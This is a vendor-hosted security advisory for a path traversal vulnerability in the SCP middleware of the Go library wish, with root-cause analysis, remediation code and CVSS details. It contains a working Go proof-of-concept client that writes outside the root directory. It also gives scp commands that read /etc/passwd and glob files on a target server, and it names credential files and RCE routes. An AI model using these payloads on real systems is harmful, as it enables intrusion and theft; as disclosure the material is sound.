Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

GHSA-xjvp-7243-rg9h

Wish has SCP Path Traversal that allows arbitrary file read/write
Back to all
CVE

GHSA-xjvp-7243-rg9h

Wish has SCP Path Traversal that allows arbitrary file read/write

Summary

The SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol.

Affected Versions

  • charm.land/wish/v2 — all versions through commit 72d67e6 (current main)
  • github.com/charmbracelet/wish — likely all v1 versions (same code pattern)

Details

Root Cause

The fileSystemHandler.prefixed() method in scp/filesystem.go:42-48 is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:

func (h *fileSystemHandler) prefixed(path string) string {
    path = filepath.Clean(path)
    if strings.HasPrefix(path, h.root) {
        return path
    }
    return filepath.Join(h.root, path)
}

When path contains ../ components, filepath.Clean resolves them but does not reject them. The subsequent filepath.Join(h.root, path) produces a path that escapes the root directory.

Attack Vector 1: Arbitrary File Write (scp -t)

When receiving files from a client (scp -t), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:

reNewFile   = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`)
reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`)

The captured filename is used directly in filepath.Join(path, name) without sanitization (scp/copyfromclient.go:90,140), then passed to fileSystemHandler.Write() and fileSystemHandler.Mkdir(), which call prefixed() — allowing the attacker to write files and create directories anywhere on the filesystem.

Attack Vector 2: Arbitrary File Read (scp -f)

When sending files to a client (scp -f), the requested path comes from the SSH command arguments (scp/scp.go:284). This path is passed to handler.Glob()handler.NewFileEntry(), and handler.NewDirEntry(), all of which call prefixed() — allowing the attacker to read any file accessible to the server process.

Attack Vector 3: File Enumeration via Glob

The Glob method passes user input containing glob metacharacters (*?[) to filepath.Glob after prefixed(), enabling enumeration of files outside the root.

Proof of Concept

All three vectors were validated with end-to-end integration tests against a real SSH server using the public wish and scp APIs.

Vulnerable Server

Any server using scp.NewFileSystemHandler with scp.Middleware is affected. This is the pattern shown in the official examples/scp example:

package main
import (
	"net"
	"charm.land/wish/v2"
	"charm.land/wish/v2/scp"
	"github.com/charmbracelet/ssh"
)
func main() {
	handler := scp.NewFileSystemHandler("/srv/data")
	s, _ := wish.NewServer(
		wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")),
		wish.WithMiddleware(scp.Middleware(handler, handler)),
		// Default: accepts all connections (no auth configured)
	)
	s.ListenAndServe()
}

Write Traversal — Write arbitrary files outside /srv/data

An attacker crafts SCP protocol messages with ../ in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to /tmp/pwned:

package main
import (
	"fmt"
	"os"
	gossh "golang.org/x/crypto/ssh"
)
func main() {
	config := &gossh.ClientConfig{
		User:            "attacker",
		Auth:            []gossh.AuthMethod{gossh.Password("anything")},
		HostKeyCallback: gossh.InsecureIgnoreHostKey(),
	}
	client, _ := gossh.Dial("tcp", "target:2222", config)
	session, _ := client.NewSession()
	// Pipe crafted SCP protocol data into stdin
	stdin, _ := session.StdinPipe()
	go func() {
		// Wait for server's NULL ack, then send traversal payload
		buf := make([]byte, 1)
		session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack
		// File header with traversal: writes to /tmp/pwned (escaping /srv/data)
		fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n")
		// Wait for ack
		stdin.Write([]byte("hello world\n"))
		stdin.Write([]byte{0}) // NULL terminator
		stdin.Close()
	}()
	// Tell the server we're uploading to "."
	session.Run("scp -t .")
}

Or equivalently using standard scp with a symlink trick, or by patching the openssh scp client to send a crafted filename.

Read Traversal — Read arbitrary files outside /srv/data

No custom tooling needed. Standard scp passes the path directly:

## Read /etc/passwd from a server whose SCP root is /srv/data
scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd

The server resolves ../../../etc/passwd through prefixed():

  1. filepath.Clean("../../../etc/passwd") → "../../../etc/passwd"
  2. Not prefixed with /srv/data, so: filepath.Join("/srv/data", "../../../etc/passwd") → "/etc/passwd"
  3. File contents of /etc/passwd are sent to the attacker.

Glob Traversal — Enumerate and read files outside /srv/data

scp -P 2222 attacker@target:'../../../etc/pass*' ./

Validated Test Output

These were confirmed with integration tests using wish.NewServerscp.Middleware, and scp.NewFileSystemHandler against temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary:

=== RUN   TestPathTraversalWrite
    PATH TRAVERSAL CONFIRMED: file written to ".../secret/pwned" (outside root ".../scproot")
--- FAIL: TestPathTraversalWrite
=== RUN   TestPathTraversalWriteRecursiveDir
    PATH TRAVERSAL CONFIRMED: directory created at ".../evil_dir" (outside root ".../scproot")
    PATH TRAVERSAL CONFIRMED: file written to ".../evil_dir/payload" (outside root ".../scproot")
--- FAIL: TestPathTraversalWriteRecursiveDir
=== RUN   TestPathTraversalRead
    PATH TRAVERSAL CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalRead
=== RUN   TestPathTraversalGlob
    PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalGlob

Tests used the real SSH handshake via golang.org/x/crypto/ssh, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end.

Impact

An authenticated SSH user can:

  • Write arbitrary files anywhere on the filesystem the server process can write to, leading to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or systemd units.
  • Read arbitrary files accessible to the server process, including /etc/shadow, private keys, database credentials, and application secrets.
  • Create arbitrary directories on the filesystem.
  • Enumerate files outside the root via glob patterns.

If the server uses the default authentication configuration (which accepts all connections — see wish.go:19), these attacks are exploitable by unauthenticated remote attackers.

Remediation

Fix prefixed() to enforce root containment

func (h *fileSystemHandler) prefixed(path string) (string, error) {
    // Force path to be relative by prepending /
    joined := filepath.Join(h.root, filepath.Clean("/"+path))
    // Verify the result is still within root
    if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root {
        return "", fmt.Errorf("path traversal detected: %q resolves outside root", path)
    }
    return joined, nil
}

Sanitize filenames in copyfromclient.go

SCP filenames should never contain path separators or .. components:

name := match[3] // or matches[0][2] for directories
if strings.ContainsAny(name, "/\\") || name == ".." || name == "." {
    return fmt.Errorf("invalid filename: %q", name)
}

Validate info.Path in GetInfo or at the middleware entry point

info.Path = filepath.Clean("/" + info.Path)

Credit

Evan MORVAN (evnsh) — me@evan.sh (Research)

Claude Haiku (formatting the report)

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
-
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
C
H
U
-

Related Resources

No items found.

References

https://github.com/charmbracelet/wish/security/advisories/GHSA-xjvp-7243-rg9h, https://github.com/charmbracelet/wish

Severity

9.6

CVSS Score
0
10

Basic Information

Ecosystem
Base CVSS
9.6
EPSS Probability
0%
EPSS Percentile
0%
Introduced Version
0
Fix Available
2.0.1

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading